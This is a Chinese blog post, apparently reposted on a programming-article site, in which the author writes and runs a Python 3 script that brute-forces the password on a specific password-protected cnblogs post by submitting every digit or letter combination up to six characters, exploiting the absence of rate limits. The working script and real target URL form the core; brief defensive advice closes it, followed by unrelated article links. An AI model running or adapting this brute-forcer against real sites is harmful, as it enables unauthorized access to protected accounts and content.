python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
在python中的socket模块使用代理实例
May 29 Python
Python和JavaScript间代码转换的4个工具
Feb 22 Python
详解python如何调用C/C++底层库与互相传值
Aug 10 Python
Python自定义进程池实例分析【生产者、消费者模型问题】
Sep 19 Python
深入了解Python中pop和remove的使用方法
Jan 09 Python
Python实现带参数与不带参数的多重继承示例
Jan 30 Python
解决csv.writer写入文件有多余的空行问题
Jul 06 Python
python 中Arduino串口传输数据到电脑并保存至excel表格
Oct 14 Python
Pytorch技巧:DataLoader的collate_fn参数使用详解
Jan 08 Python
使用Python第三方库pygame写个贪吃蛇小游戏
Mar 06 Python
matlab中二维插值函数interp2的使用详解
Apr 22 Python
基于Python的一个自动录入表格的小程序
Aug 05 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
php长字符串定义方法
2012/07/12 PHP
PHPCMS2008广告模板SQL注入漏洞修复
2016/10/11 PHP
Yii输入正确验证码却验证失败的解决方法
2017/06/06 PHP
JavaScript实际应用:innerHTMl和确认提示的使用
2006/06/22 Javascript
获取焦点时,利用js定时器设定时间执行动作
2010/04/02 Javascript
javascript获得网页窗口实际大小的示例代码
2013/09/21 Javascript
jQuery实现设置、移除文本框默认值功能
2015/01/13 Javascript
如何学JavaScript?前辈的经验之谈
2016/12/28 Javascript
理解Angular的providers给Http添加默认headers
2017/07/04 Javascript
Vue实战之vue登录验证的实现代码
2017/10/31 Javascript
javascript高级模块化require.js的具体使用方法
2017/10/31 Javascript
Bootbox将后台JSON数据填充Form表单的实例代码
2018/09/10 Javascript
Typescript的三种运行方式(小结)
2019/09/18 Javascript
vue+elementUI(el-upload)图片压缩,默认同比例压缩操作
2020/08/10 Javascript
在Vue中使用Viser说明(基于AntV-G2可视化引擎)
2020/10/28 Javascript
[23:21]Ti4 冒泡赛第二轮DK vs C9 2
2014/07/14 DOTA
二种python发送邮件实例讲解(python发邮件附件可以使用email模块实现)
2013/12/03 Python
跟老齐学Python之编写类之四再论继承
2014/10/11 Python
Python制作爬虫抓取美女图
2016/01/20 Python
Python3 实现串口两进程同时读写
2019/06/12 Python
python文件绝对路径写法介绍(windows)
2019/12/25 Python
Django 自定义权限管理系统详解(通过中间件认证)
2020/03/11 Python
python实现飞机大战项目
2020/03/11 Python
Python getattr()函数使用方法代码实例
2020/08/10 Python
python实现控制台输出颜色
2021/03/02 Python
我们没有写servlet的构造方法,那么容器是怎么创建servlet的实例呢
2013/04/24 面试题
应届生人事助理求职信
2013/11/09 职场文书
经济管理专业毕业生自荐信范文
2014/01/02 职场文书
教师自查自纠工作情况报告
2014/10/29 职场文书
2014年置业顾问工作总结
2014/11/17 职场文书
谢师宴答谢词
2015/01/05 职场文书
工会积极分子个人总结
2015/03/03 职场文书
公司员工手册范本
2015/05/14 职场文书
八年级英语教学反思
2016/02/15 职场文书
python操作xlsx格式文件并读取
2021/06/02 Python
Javascript使用integrity属性进行安全验证
2021/11/07 Javascript